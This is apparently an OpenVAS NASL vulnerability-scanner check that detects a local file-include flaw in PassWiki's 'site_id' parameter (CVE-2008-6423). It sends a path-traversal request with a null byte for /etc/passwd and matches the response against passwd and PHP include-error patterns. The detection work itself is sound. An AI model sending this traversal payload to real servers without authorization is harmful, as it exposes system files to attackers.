PassWiki 'site_id' Parameter Local File Include Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: PassWiki_local_file_include.nasl 5768 2017-03-29 13:37:01Z cfi $
#
# PassWiki 'site_id' Parameter Local File Include Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "PassWiki is prone to a local file-include vulnerability because it
  fails to properly sanitize user-supplied input.

  Exploiting this issue allows remote attackers to view local files
  within the context of the webserver process.

  PassWiki 0.9.17 and prior versions are vulnerable.";

if(description)
{
 script_id(100047);
 script_version("$Revision: 5768 $");
 script_tag(name:"last_modification", value:"$Date: 2017-03-29 15:37:01 +0200 (Wed, 29 Mar 2017) $");
 script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
 script_bugtraq_id(29455);
 script_cve_id("CVE-2008-6423");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_name("PassWiki 'site_id' Parameter Local File Include Vulnerability");
 script_tag(name:"qod_type", value:"remote_active");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/29455");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);
if(!can_host_php(port:port)) exit(0);

foreach dir( make_list_unique( "/passwiki", cgi_dirs( port:port ) ) ) { 

 if( dir == "/" ) dir = "";

 url = string(dir, "/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00");
 req = http_get(item:url, port:port);
 buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
 if( buf == NULL )continue;

 if (
     egrep(pattern:"root:.*:0:[01]:.*", string: buf) ||
     egrep(pattern:"Warning.*:+.*include\(.*/etc/passwd\).*failed to open stream", string: buf) # /etc/passwd not found or not allowed to access. Windows or SAFE MODE Restriction.
    ) {
    report = report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );